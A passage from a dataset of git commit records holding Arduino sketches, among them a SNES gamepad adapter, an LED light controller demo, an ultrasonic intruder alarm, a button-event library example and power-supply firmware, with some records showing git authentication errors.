digitalWrite(pinStep, (invertStep)? HIGH: LOW);\n\n pinMode(pinDir, OUTPUT);\n digitalWrite(pinDir, (invertDir)? HIGH: LOW);\n\n pinMode(pinEn, OUTPUT);\n digitalWrite(pinEn, (invertEn)? HIGH: LOW);\n}\n\nvoid loop()\n{\n \/\/ put your main code here, to run repeatedly:\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'FUCAN-spintroller.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"7e7ecb8a885cda81ae089797702e9fe2848f3b93","subject":"Implemented the whole snes gamepad adapter thingy like a breeze in teensyduino. Man, this thing is too freaking easy.","message":"Implemented the whole snes gamepad adapter thingy like a breeze in teensyduino. Man, this thing is too freaking easy.\n","repos":"loiclacombe\/teensy_adapter,loiclacombe\/teensy_adapter","old_file":"teensy_adapter_in_teensyduino\/snes.ino","new_file":"teensy_adapter_in_teensyduino\/snes.ino","new_contents":"\/*\n\n\n*\/\n\n#define DATA_LATCH_PIN 20\n#define DATA_CLOCK_PIN 21\n#define DATA_IN_PIN 19\n\n#define SNES_BUTTON_B 1\n#define SNES_BUTTON_Y 3\n#define SNES_BUTTON_SELECT 7\n#define SNES_BUTTON_START 8\n#define SNES_DIRECTION_UP 0\n#define SNES_DIRECTION_DOWN 180\n#define SNES_DIRECTION_LEFT 270\n#define SNES_DIRECTION_RIGHT 90\n#define SNES_BUTTON_A 2\n#define SNES_BUTTON_X 4\n#define SNES_BUTTON_L 5\n#define SNES_BUTTON_R 6\n\n#define SNES_DIRECTION_UP_LEFT 315\n\n#define HAT_DEFAULT -1\n\nint hat_direction;\n\nvoid snes_read_init(){\n pinMode(DATA_LATCH_PIN, OUTPUT); \n pinMode(DATA_CLOCK_PIN, OUTPUT); \n pinMode(DATA_IN_PIN, INPUT); \n\n digitalWrite(DATA_LATCH_PIN, LOW);\n digitalWrite(DATA_CLOCK_PIN, LOW); \n}\n\nvoid setup() {\n snes_read_init();\n\n Serial.begin(9600);\n}\n\nvoid snes_read_button_raw(int button_index){\n Joystick.button(button_index, !digitalRead(DATA_IN_PIN));\n}\n\nvoid snes_read_button(int button_index){\n digitalWrite(DATA_CLOCK_PIN, HIGH);\n delayMicroseconds(12);\n snes_read_button_raw(button_index);\n digitalWrite(DATA_CLOCK_PIN, LOW);\n}\n\nvoid snes_read_axis(int direction){\n digitalWrite(DATA_CLOCK_PIN, HIGH);\n delayMicroseconds(12);\n\n if(!digitalRead(DATA_IN_PIN)){\n if(hat_direction == HAT_DEFAULT){\n hat_direction = direction;\n } \n else{\n if(hat_direction == SNES_DIRECTION_UP \n && direction == SNES_DIRECTION_LEFT){\n hat_direction = SNES_DIRECTION_UP_LEFT;\n }\n else{\n hat_direction = (hat_direction + direction) \/ 2;\n }\n }\n }\n\n digitalWrite(DATA_CLOCK_PIN, LOW);\n}\n\nvoid snes_read_buttons(){\n digitalWrite(DATA_LATCH_PIN, HIGH);\n delayMicroseconds(12);\n digitalWrite(DATA_LATCH_PIN, LOW);\n delayMicroseconds(6);\n\n snes_read_button_raw(SNES_BUTTON_B);\n snes_read_button(SNES_BUTTON_Y);\n snes_read_button(SNES_BUTTON_SELECT);\n snes_read_button(SNES_BUTTON_START);\n\n hat_direction = HAT_DEFAULT;\n snes_read_axis(SNES_DIRECTION_UP);\n snes_read_axis(SNES_DIRECTION_DOWN);\n snes_read_axis(SNES_DIRECTION_LEFT);\n snes_read_axis(SNES_DIRECTION_RIGHT);\n\n Joystick.hat(hat_direction);\n\n snes_read_button(SNES_BUTTON_A);\n snes_read_button(SNES_BUTTON_X);\n snes_read_button(SNES_BUTTON_L);\n snes_read_button(SNES_BUTTON_R);\n\n delay(16);\n delayMicroseconds(466); \n Serial.println(hat_direction, DEC);\n}\n\nvoid loop() {\n snes_read_buttons();\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'teensy_adapter_in_teensyduino\/snes.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"c52da0330294e14c18c1894b5cd0b2a5a3e7cbc2","subject":"Add blink_string() and DEBUG.","message":"Add blink_string() and DEBUG.\n\nAlso, I changed to 4 spaces indent.\n","repos":"kdomen\/Morse-Code","old_file":"Morse-Code\/morse-code.ino","new_file":"Morse-Code\/morse-code.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kdomen\/Morse-Code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d1e0c7c43985c98c5ae1e67e95a690b29300404c","subject":"A couple of changes to UziFirmware.ino.","message":"A couple of changes to UziFirmware.ino.\n\n* I removed the defaultProgram().\n* Uncommented the installSavedProgram() call in setup()\n* Removed the serial console test at the beginning of loop().\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f87e822c5ca97a4d2bc720599ba5aa2f4ed986ff","subject":"Adjusted segment alignment","message":"Adjusted segment alignment\n","repos":"TFTLibraries\/TFT,TFTLibraries\/TFT","old_file":"examples\/PICadillo-35T\/7Segment\/7Segment.ino","new_file":"examples\/PICadillo-35T\/7Segment\/7Segment.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TFTLibraries\/TFT.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"305e46b52110bdda7d8759085faaea62893f0e69","subject":"anavi-light-controller.ino: Simple demo app","message":"anavi-light-controller.ino: Simple demo app\n\nSimple demo application for random colors without WiFi.\n\nSigned-off-by: Leon Anavi <be92910ae7bb6f58bb9b7c6f845bc30640119592@anavi.org>\n","repos":"AnaviTech\/anavi-examples,AnaviTech\/anavi-examples","old_file":"anavi-light-controller\/anavi-light-controller\/anavi-light-controller.ino","new_file":"anavi-light-controller\/anavi-light-controller\/anavi-light-controller.ino","new_contents":"#include <FS.h> \/\/this needs to be first, or it all crashes and burns...\n\n#include <ESP8266WiFi.h> \/\/https:\/\/github.com\/esp8266\/Arduino\n\n\/\/ Configure pins\nconst int pinAlarm = 16;\nconst int pinButton = 0;\nconst int pinLedRed = 12;\nconst int pinLedGreen = 13;\nconst int pinLedBlue = 14;\n\nvoid setup()\n{\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n Serial.println(\"ANAVI Light Controller\");\n\n \/\/LED\n pinMode(pinAlarm, OUTPUT);\n \/\/Button\n pinMode(pinButton, INPUT);\n\n \/\/RGB LED Strip\n pinMode(pinLedRed, OUTPUT);\n pinMode(pinLedGreen, OUTPUT);\n pinMode(pinLedBlue, OUTPUT);\n\n digitalWrite(pinAlarm, HIGH);\n\n \/\/ Turn all 3 colors of the LED strip\n \/\/ This way the setup and testing will be easier\n analogWrite(pinLedRed, 255);\n analogWrite(pinLedGreen, 255);\n analogWrite(pinLedBlue, 255);\n}\n\nvoid loop()\n{\n \/\/ put your main code here, to run repeatedly:\n int red = random(255);\n analogWrite(pinLedRed, red);\n int green = random(255);\n analogWrite(pinLedGreen, green);\n int blue = random(255);\n analogWrite(pinLedBlue, blue);\n delay(3000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'anavi-light-controller\/anavi-light-controller\/anavi-light-controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2b8d027020ef60fce0a8f49d4b78b136b1ca555b","subject":"New Arduino code","message":"New Arduino code\n","repos":"Automated-Home-Security-System\/AutomatedHomeSecuritySystem","old_file":"AutomatedHomeSecuritySystem.ino","new_file":"AutomatedHomeSecuritySystem.ino","new_contents":"#define CUSTOM_SETTINGS\n#define INCLUDE_BUZZER_SHIELD \n#define INCLUDE_CAMERA_SHIELD \n#define INCLUDE_EMAIL_SHIELD \n#define trigPin 6 \n#define echoPin 5\n#include <OneSheeld.h>\n\/\/declaration of varibles for leds\nint led = 13;\nint led2 = 12;\nint led3 = 11;\n\nint duration, distance;\/\/declare distance and duration as integers;\n\n\nvoid setup() \n{\n Serial.begin(9600);\n OneSheeld.begin();\n pinMode(trigPin, OUTPUT);\n pinMode(echoPin, INPUT);\n pinMode(led, OUTPUT);\n pinMode(led2, OUTPUT);\n pinMode(led3, OUTPUT);\n}\n\nvoid loop() \n{\n\n ultrasonic();\n if(distance > 0 && distance <= 30.0 )\n {\n Serial.print(\"Trigger at :\");\n Serial.println(distance);\n digitalWrite(led, HIGH);\n delay(100); \/\/ wait for a second\n digitalWrite(led, LOW);\n delay(100);\n \n digitalWrite(led2, HIGH);\n delay(100); \/\/ wait for a second\n digitalWrite(led2, LOW);\n delay(100);\n digitalWrite(led3, HIGH);\n delay(100); \/\/ wait for a second\n digitalWrite(led3, LOW);\n delay(100);\n Camera.setFlash(ON);\n Camera.rearCapture();\n delay(5000);\n Camera.setFlash(OFF); \n \/\/recipient, subject, message\n Email.attachLastPicture(\"onughachimobi@gmail.com\",\"Presence detected\",\"Intruder Alert\");\n Buzzer.buzzOn();\n delay(10000);\n Buzzer.buzzOff();\n delay(30000);\n \n }\n\n}\n\nvoid ultrasonic()\n{\n digitalWrite(trigPin, LOW);\n delayMicroseconds(2);\n digitalWrite(trigPin,HIGH);\/\/ trigin sends out signal\n delayMicroseconds(10);\n digitalWrite(trigPin, LOW);\/\/ then goes low\n\n duration = pulseIn(echoPin, HIGH);\n distance=(duration\/2)\/29.1; \/\/ the 29.1 is used to convert the distance to cm, the value varies for other units.\n Serial.println(distance);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'AutomatedHomeSecuritySystem.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9d69721674d345046bd820ae28bcb22f45df56c7","subject":"Create AllEvents.ino","message":"Create AllEvents.ino","repos":"jonnieZG\/EButton","old_file":"examples\/AllEvents\/AllEvents.ino","new_file":"examples\/AllEvents\/AllEvents.ino","new_contents":"#include \"Arduino.h\"\n#include \"EButton.h\"\n\nEButton button(2);\n\n\/\/ ------- Printing event details --------\nvoid print(EButton &btn) {\n\tSerial.print(F(\" [pressed=\"));\n\tSerial.print(btn.isButtonPressed());\n\tSerial.print(F(\", clicks=\"));\n\tSerial.print(btn.getClicks());\n\tSerial.print(F(\", startTime=\"));\n\tSerial.print(btn.getStartTime());\n\tSerial.print(F(\", lastTransitionTime=\"));\n\tSerial.print(btn.getLastTransitionTime());\n\tSerial.println(F(\"]\"));\n}\n\n\/\/ ------- Handler methods --------\nvoid transitionHandler(EButton &btn) {\n\tSerial.print(F(\"TRANSITION\"));\n\tprint(btn);\n}\nvoid eachClickHandler(EButton &btn) {\n\tSerial.print(F(\"EACH_CLICK\"));\n\tprint(btn);\n}\nvoid singleClickHandler(EButton &btn) {\n\tSerial.print(F(\"SINGLE_CLICK\"));\n\tprint(btn);\n}\nvoid doubleClickHandler(EButton &btn) {\n\tSerial.print(F(\"DOUBLE_CLICK\"));\n\tprint(btn);\n}\nvoid anyClickHandler(EButton &btn) {\n\tSerial.print(F(\"ANY_CLICK\"));\n\tprint(btn);\n}\n\nvoid pressStartHandler(EButton &btn) {\n\tSerial.print(F(\"PRESS_START\"));\n\tprint(btn);\n}\n\nunsigned long t;\nvoid duringPressHandler(EButton &btn) {\n\tif ((unsigned long) (millis() - t) > 1000) {\n\t\t\/\/ Print once a second\n\t\tSerial.print(F(\"DURING_PRESS\"));\n\t\tprint(btn);\n\t\tt = millis();\n\t}\n}\n\nvoid pressEndHandler(EButton &btn) {\n\tSerial.print(F(\"PRESS_END\"));\n\tprint(btn);\n}\n\n\/\/ ------- Setting up the driver and registering listeners --------\nvoid setup() {\n\tSerial.begin(115200);\n\tSerial.println(F(\"\\nEButton Demo\"));\n\n\tbutton.setDebounceTime(EBUTTON_DEFAULT_DEBOUNCE);\t\t\/\/ not required if using default\n\tbutton.setClickTime(EBUTTON_DEFAULT_CLICK);\t\t\t\t\/\/ not required if using default\n\tbutton.setLongPressTime(EBUTTON_DEFAULT_LONG_PRESS);\t\/\/ not required if using default\n\n\tbutton.attachTransition(transitionHandler);\n\tbutton.attachEachClick(eachClickHandler);\n\tbutton.attachAnyClick(anyClickHandler);\n\tbutton.attachSingleClick(singleClickHandler);\n\tbutton.attachDoubleClick(doubleClickHandler);\n\tbutton.attachLongPressStart(pressStartHandler);\n\tbutton.attachDuringLongPress(duringPressHandler);\n\tbutton.attachLongPressEnd(pressEndHandler);\n}\n\nvoid loop() {\n\t\/\/ Ticking the driver in a loop\n\tbutton.tick();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AllEvents\/AllEvents.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6c5f5c15d396d641eab71fcbe933af2a75f46576","subject":"Erste Version der E2W-Firmware mit Strom-Nullpunkts-Anpassung.","message":"Erste Version der E2W-Firmware mit Strom-Nullpunkts-Anpassung.\n\nBen\u00f6tigte Umbauma\u00dfnahmen an der E2WRevA Hardware:\r\n- 100uF an 3V3 zus\u00e4tzlich f\u00fcr Chinesische Arduino DUE-Clones\r\n- 10uF an Arduino-Reset\r\n- MISO-MOSI-Verdrahtung richtigstellen\r\n- 2 zus\u00e4tzliche MosFETs zum deaktivieren der Umin-Regler (an Port D3 und D4)\r\n- I1 Strommessung an den Sense-Leitungen verdrehen, damit Strom-Nullpunkts-Anpassung funktioniert.","repos":"fink-electronics\/E2W","old_file":"E2W_0.65.ino","new_file":"E2W_0.65.ino","new_contents":"\n#define VERSION 65 \/\/ Version*100\n\n\/*************************************\n * E2W RevA \n *************************************\n * notwendige Umbauma\u00dfnahmen:\n * Kapazit\u00e4t auf 3,3V 100\u00b5F\n * Kapazit\u00e4t auf Arduino-Reset 10\u00b5F\n * MISO und MOSI wieder richtig herum gedreht.\n * Strommessung I1 gedreht (+ u. - Eing\u00e4nge vertauscht) zur Regelbereichserweiterung.\n * \n * \n * 65: endlich konsequent mit mA, mV und mW in den Variablen. nicht cA, cV und cW\n * \n *\/\n#include <SPI.h>\n#include \"Adafruit_GFX.h\"\n#include \"Adafruit_HX8357.h\"\n\n\/\/ These are 'flexible' lines that can be changed\n#define TFT_CS 41\n#define TFT_DC 42\n#define TFT_RST 43 \/\/ RST can be set to -1 if you tie it to Arduino's reset\n\n\/\/ Use hardware SPI (on Uno, #13, #12, #11) and the above for CS\/DC\nAdafruit_HX8357 tft = Adafruit_HX8357(TFT_CS, TFT_DC, TFT_RST);\n\n\n\/\/ Size of the color selection boxes and the paintbrush size\n#define BOXSIZE 160\n#define PENRADIUS 5\nint oldcolor, currentcolor;\n\nint lastP1; \nint lastP2; \nint lastI1; \/\/zur Darstellung und L\u00f6schung des Stromwertes von Port1\nint lastAI1;\nint lastU1; \/\/zur Darstellung und L\u00f6schung des Spannungswertes von Port1\nint lastI2; \/\/zur Darstellung und L\u00f6schung des Stromwertes von Port1\nint lastAI2;\nint lastU2; \/\/zur Darstellung und L\u00f6schung des Spannungswertes von Port1\nint lastReportedPosE1 = 0;\nint lastReportedPosE2 = 0;\nint lastReportedPosE5 = 0;\nint lastReportedPosE6 = 0;\nint lastReportedPosE7 = 0;\n\n\/\/######################################################################################################\n#include <Encoder.h>\n\n\/\/ Change these pin numbers to the pins connected to your encoder.\n\/\/ Best Performance: both pins have interrupt capability\n\/\/ Good Performance: only the first pin has interrupt capability\n\/\/ Low Performance: neither pin has interrupt capability\n\n \/\/der Construktor der Encoder.h Datei wurde in \"void init\" ge\u00e4ndert\n \/\/jetzt muss in der setup() funktion noch die init Methode jedes Objektes aufgerufen werden. \n \/\/damit das Opjekt aber global ist muss es vor der setup() schon erschaffen werden......\n\n\/\/ja bl\u00f6d aber so gehts. Ich vermute es liegt daran, da\u00df INPUT_PULLUP erst zu setup()-Zeiten definiert wird.\n\/\/Deshalb macht die Encoder.h Bibliothek keine Pullups obwohl sie sollte.\n\n\n\/\/jetzt werden nur mehr die Objekte erzeugt und sp\u00e4ter in setup() initialisiert.\nEncoder knobLeft;\nEncoder knobRight;\nEncoder knobLeftMitte;\nEncoder knobRightMitte;\nEncoder knobUnten;\n\n\n#define BUTTON_KNOP1 49\n#define BUTTON_KNOP2 47\n#define BUTTON_KNOP5 23\n#define BUTTON_KNOP6 31\n#define BUTTON_KNOP7 35\n\/\/ avoid using pins with LEDs attached\n\/\/######################################################################################################\n\/\/TAster\n\n#define RUN_TASTER 30\n#define RUN_LED 29\n#define RUN_LED_GND 28\n\nvolatile unsigned long timestampRunTaste = 0;\nvolatile boolean runState = false;\nvolatile boolean lastRunTaste = HIGH;\n\n#define TASTER4 27\n#define LED4 26\n#define LED4_GND 24\n\nvolatile unsigned long timestampTaste4 = 0;\nvolatile boolean taste4State = false;\nvolatile boolean lastTaste4 = HIGH;\n\n#define ENTPRELLMILLIS 300\n\n\/\/######################################################################################################\n\n\n\n\n\/\/E2W-Analog IN\/OUT (ADC und PWM)\n\/\/annkinntonn\n\n#define ADC_I1 A10 \/\/AusgangsStrom Port1\n#define ADC_U1 A9 \/\/AusgangsSpannung Port1\n#define ADC_U2 A0 \/\/AusgangsSpannung Port2\n#define ADC_I2 A1 \/\/AusgangsStrom Port2\n#define ADC_2V5Ref A7 \/\/Referenzspannungsmessung zu Autokalibrierzwecken\n#define ADC_IREF A2\n#define ADC_NTC1 A6\n#define ADC_NTC2 A5\n\n#define PWM_I2_SOLL 7 \/\/Stellwert 0..3V3 mit PWM\n#define GEMESSENE_2V5_REFERENZ 2499 \/\/mV-Messung (h\u00e4ndisch) der Refernzspannung\n\n\n#define MaxPWMCount 6000\nint NullpunktPWM = MaxPWMCount\/2;\n\n\/\/''''''''''''''''''''''''''''''''''''''braucht man auch noch global:\n\n#define DCDCENTRI 52\n\n#define DISABLE_U2MIN 4\n#define DISABLE_U1MIN 3\n \n \nint ReglerErkennung = 0;\n#define RE_U2max 53\n#define RE_U2min 12\n#define RE_U1max CANRX\n#define RE_U1min CANTX\n\n\/\/######################################################################################################\nint statemachineCounter;\n\n\/\/Filter\nlong iirI1 = 0;\nlong iirAI1 = 0;\nlong iirU1 = 0;\nlong iirI2 = 0;\nlong iirAI2 = 0;\nlong iirU2 = 0;\nlong iirIref = 0;\nlong iir2V5ref = 0;\n\nint lastNTC1;\nint lastNTC2;\n\n\/\/######################################################################################################\nvoid setup() {\n \n \n \/\/ e1 = new DrehEncoderKlasse(50, 51, 49, 199);\nknobRight.init(39, 37);\nknobLeft.init(51, 50); \nknobLeftMitte.init(48, 46);\nknobRightMitte.init(33, 32);\nknobUnten.init(25, 22);\n\n pinMode(BUTTON_KNOP1, INPUT_PULLUP);\n pinMode(BUTTON_KNOP2, INPUT_PULLUP);\n pinMode(BUTTON_KNOP5, INPUT_PULLUP);\n pinMode(BUTTON_KNOP6, INPUT_PULLUP);\n pinMode(BUTTON_KNOP7, INPUT_PULLUP);\n \/\/pinMode(34, INPUT_PULLUP);\n \/\/pinMode(35, INPUT_PULLUP);\n\npinMode(RUN_TASTER, INPUT_PULLUP);\n pinMode(RUN_LED, OUTPUT);\n pinMode(RUN_LED_GND, OUTPUT);\n digitalWrite(RUN_LED_GND, LOW);\npinMode(TASTER4, INPUT_PULLUP);\n pinMode(LED4, OUTPUT);\n pinMode(LED4_GND, OUTPUT);\n digitalWrite(LED4_GND, LOW);\n\n pinMode(RE_U2max, INPUT_PULLUP);\n pinMode(RE_U2min, INPUT_PULLUP);\n pinMode(RE_U1max, INPUT_PULLUP);\n pinMode(RE_U1min, INPUT_PULLUP);\n\npinMode(DISABLE_U2MIN, OUTPUT);\npinMode(DISABLE_U1MIN, OUTPUT);\n\n \/\/Analog InOut\n analogWriteResolution(12);\n analogReadResolution(12);\n\n lastI1 = 0;\n lastAI1 = 0;\n lastI2 = 0;\n lastAI2 = 0;\n lastU1 = 0;\n lastP1 = 0;\n lastP2 = 0;\n\n \n \n statemachineCounter = 0;\n\n\n\/\/Pin 7 wird echter PWM-Pin Achtung Pin 7 und 6 sind bei Arduino gegen\u00fcber dem normalen SAM3X-Namen vertauscht !!!!!!\nint32_t mask_PWM_pin = digitalPinToBitMask(7);\nREG_PMC_PCER1 = 1<<4; \/\/ activate clock for PWM controller\nREG_PIOC_PDR |= mask_PWM_pin; \/\/ activate peripheral functions for pin (disables all PIO functionality)\nREG_PIOC_ABSR |= mask_PWM_pin; \/\/ choose peripheral option B \nREG_PWM_CLK = 0; \/\/ choose clock rate, 0 -> full MCLK as reference 84MHz\nREG_PWM_CMR6 = 0<<9; \/\/ select clock and polarity for PWM channel PWML6 (pin7) -> (CPOL = 0)\nREG_PWM_CPRD6 = MaxPWMCount; \/\/ initialize PWM period -> T = value\/84MHz (value: up to 16bit), value=8 -> 10.5MHz\n \/\/ note : with this 5000 setting, we have thus 1\/5000 resol, with a frequency of 16khz, if we use the defaut main clock : that's good\n\nREG_PWM_CDTY6 = 1515; \/\/ initialize duty cycle, REG_PWM_CPRD6 \/ value = duty cycle, for 8\/4 = 50%\nREG_PWM_ENA = 1<<6; \/\/ enable PWM on PWM channel (pin 7 = PWML6)\n\n\/\/Pin 6 wird echter PWM-Pin \nmask_PWM_pin = digitalPinToBitMask(6);\n\/\/REG_PMC_PCER1 = 1<<4; \/\/ activate clock for PWM controller\nREG_PIOC_PDR |= mask_PWM_pin; \/\/ activate peripheral functions for pin (disables all PIO functionality)\nREG_PIOC_ABSR |= mask_PWM_pin; \/\/ choose peripheral option B \n\/\/REG_PWM_CLK = 0; \/\/ choose clock rate, 0 -> full MCLK as reference 84MHz\nREG_PWM_CMR7 = 0<<9; \/\/ select clock and polarity for PWM channel PWML7 (pin6) -> (CPOL = 0)\nREG_PWM_CPRD7 = MaxPWMCount; \/\/ initialize PWM period -> T = value\/84MHz (value: up to 16bit), value=8 -> 10.5MHz\n \/\/ note : with this 5000 setting, we have thus 1\/5000 resol, with a frequency of 16khz, if we use the defaut main clock : that's good\n\nREG_PWM_CDTY7 = 1515; \/\/ initialize duty cycle, REG_PWM_CPRD6 \/ value = duty cycle, for 8\/4 = 50%\nREG_PWM_ENA = 1<<7; \/\/ enable PWM on PWM channel (pin 6 = PWML7)\n\n\n\/\/Pin 40 wird echter PWM-Pin f\u00fcr TFT-Lite\nmask_PWM_pin = digitalPinToBitMask(40);\n\/\/REG_PMC_PCER1 = 1<<4; \/\/ activate clock for PWM controller\nREG_PIOC_PDR |= mask_PWM_pin; \/\/ activate peripheral functions for pin (disables all PIO functionality)\nREG_PIOC_ABSR |= mask_PWM_pin; \/\/ choose peripheral option B \n\/\/REG_PWM_CLK = 0; \/\/ choose clock rate, 0 -> full MCLK as reference 84MHz\nREG_PWM_CMR3 = 0<<9; \/\/ select clock and polarity for PWM channel PWML2 (pin38) -> (CPOL = 0)\nREG_PWM_CPRD3 = MaxPWMCount; \/\/ initialize PWM period -> T = value\/84MHz (value: up to 16bit), value=8 -> 10.5MHz\n \/\/ note : with this 5000 setting, we have thus 1\/5000 resol, with a frequency of 16khz, if we use the defaut main clock : that's good\n\nREG_PWM_CDTY3 = 3000; \/\/ initialize duty cycle, REG_PWM_CPRD6 \/ value = duty cycle, for 8\/4 = 50%\nREG_PWM_ENA = 1<<3; \/\/ enable PWM on PWM channel (pin 40 = PWML3)\n\n\/\/Pin 38 wird echter PWM-Pin f\u00fcr TFT-Lite\nmask_PWM_pin = digitalPinToBitMask(38);\n\/\/REG_PMC_PCER1 = 1<<4; \/\/ activate clock for PWM controller\nREG_PIOC_PDR |= mask_PWM_pin; \/\/ activate peripheral functions for pin (disables all PIO functionality)\nREG_PIOC_ABSR |= mask_PWM_pin; \/\/ choose peripheral option B \n\/\/REG_PWM_CLK = 0; \/\/ choose clock rate, 0 -> full MCLK as reference 84MHz\nREG_PWM_CMR2 = 0<<9; \/\/ select clock and polarity for PWM channel PWML2 (pin38) -> (CPOL = 0)\nREG_PWM_CPRD2 = MaxPWMCount; \/\/ initialize PWM period -> T = value\/84MHz (value: up to 16bit), value=8 -> 10.5MHz\n \/\/ note : with this 5000 setting, we have thus 1\/5000 resol, with a frequency of 16khz, if we use the defaut main clock : that's good\n\nREG_PWM_CDTY2 = 3000; \/\/ initialize duty cycle, REG_PWM_CPRD6 \/ value = duty cycle, for 8\/4 = 50%\nREG_PWM_ENA = 1<<2; \/\/ enable PWM on PWM channel (pin 6 = PWML7)\n\n\/\/Pin 36 wird echter PWM-Pin f\u00fcr TFT-Lite\nmask_PWM_pin = digitalPinToBitMask(36);\n\/\/REG_PMC_PCER1 = 1<<4; \/\/ activate clock for PWM controller\nREG_PIOC_PDR |= mask_PWM_pin; \/\/ activate peripheral functions for pin (disables all PIO functionality)\nREG_PIOC_ABSR |= mask_PWM_pin; \/\/ choose peripheral option B \n\/\/REG_PWM_CLK = 0; \/\/ choose clock rate, 0 -> full MCLK as reference 84MHz\nREG_PWM_CMR1 = 0<<9; \/\/ select clock and polarity for PWM channel PWML1 (pin38) -> (CPOL = 0)\nREG_PWM_CPRD1 = MaxPWMCount; \/\/ initialize PWM period -> T = value\/84MHz (value: up to 16bit), value=8 -> 10.5MHz\n \/\/ note : with this 5000 setting, we have thus 1\/5000 resol, with a frequency of 16khz, if we use the defaut main clock : that's good\n\nREG_PWM_CDTY1 = 0; \/\/ initialize duty cycle, REG_PWM_CPRD6 \/ value = duty cycle, for 8\/4 = 50%\nREG_PWM_ENA = 1<<1; \/\/ enable PWM on PWM channel (pin 36 = PWML1)\n\n\/\/Pin 9 wird echter PWM-Pin f\u00fcr TFT-Lite\nmask_PWM_pin = digitalPinToBitMask(9);\n\/\/REG_PMC_PCER1 = 1<<4; \/\/ activate clock for PWM controller\nREG_PIOC_PDR |= mask_PWM_pin; \/\/ activate peripheral functions for pin (disables all PIO functionality)\nREG_PIOC_ABSR |= mask_PWM_pin; \/\/ choose peripheral option B \n\/\/REG_PWM_CLK = 0; \/\/ choose clock rate, 0 -> full MCLK as reference 84MHz\nREG_PWM_CMR4 = 0<<9; \/\/ select clock and polarity for PWM channel PWML1 (pin38) -> (CPOL = 0)\nREG_PWM_CPRD4 = MaxPWMCount; \/\/ initialize PWM period -> T = value\/84MHz (value: up to 16bit), value=8 -> 10.5MHz\n \/\/ note : with this 5000 setting, we have thus 1\/5000 resol, with a frequency of 16khz, if we use the defaut main clock : that's good\n\nREG_PWM_CDTY4 = 3000; \/\/ initialize duty cycle, REG_PWM_CPRD6 \/ value = duty cycle, for 8\/4 = 50%\nREG_PWM_ENA = 1<<4; \/\/ enable PWM on PWM channel (pin 36 = PWML1)\n\n\/\/Pin 8 wird echter PWM-Pin f\u00fcr TFT-Lite\nmask_PWM_pin = digitalPinToBitMask(8);\n\/\/REG_PMC_PCER1 = 1<<4; \/\/ activate clock for PWM controller\nREG_PIOC_PDR |= mask_PWM_pin; \/\/ activate peripheral functions for pin (disables all PIO functionality)\nREG_PIOC_ABSR |= mask_PWM_pin; \/\/ choose peripheral option B \n\/\/REG_PWM_CLK = 0; \/\/ choose clock rate, 0 -> full MCLK as reference 84MHz\nREG_PWM_CMR5 = 0<<9; \/\/ select clock and polarity for PWM channel PWML1 (pin38) -> (CPOL = 0)\nREG_PWM_CPRD5 = MaxPWMCount; \/\/ initialize PWM period -> T = value\/84MHz (value: up to 16bit), value=8 -> 10.5MHz\n \/\/ note : with this 5000 setting, we have thus 1\/5000 resol, with a frequency of 16khz, if we use the defaut main clock : that's good\n\nREG_PWM_CDTY5 = 3000; \/\/ initialize duty cycle, REG_PWM_CPRD6 \/ value = duty cycle, for 8\/4 = 50%\nREG_PWM_ENA = 1<<5; \/\/ enable PWM on PWM channel (pin 36 = PWML1)\n\n\n tft.begin(HX8357D);\n tft.fillScreen(HX8357_BLACK);\n Serial.begin(115200); \/\/ output\n Serial.println(INPUT_PULLUP);\n presetAnnKinnTonn();\n}\n\/\/######################################################################################################\n\n\/\/ main loop, work is done by interrupt service routines, this one only prints stuff\nvoid loop() { \n int p1,p2,i1,u1,u2,i2,iref,u2V5Ref;\n long uADC;\n int x; \/\/Offset f\u00fcr tft.print zum rechts zentrieren\n int encoder1Val, encoder2Val, encoder5Val, encoder6Val, encoder7Val;\n int color = 0x4111; \/\/0x0111 dunkelblau\n \n encoder1Val = knobLeft.read()>>2; \/\/Begrenzung der Einstellung auf 60V und 0V\n if (encoder1Val > 600) { \n encoder1Val = 600;\n knobLeft.write(600<<2);\n }\n if (encoder1Val < 0) {\n encoder1Val = 0;\n knobLeft.write(0);\n }\n if (lastReportedPosE1 != encoder1Val) {\n\n color = 0x4111;\n if (digitalRead(RE_U1max) == 0) color = HX8357_YELLOW;\n tftTextWertUpdate(25+x, BOXSIZE + 10, 3, color, lastReportedPosE1*100, encoder1Val*100, 4, \"V\");\n \/\/tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(134, BOXSIZE + 24);\n tft.print(\"max\"); \n \n Serial.print(\"Encoder 1: \");\n Serial.println(encoder1Val, DEC);\n lastReportedPosE1 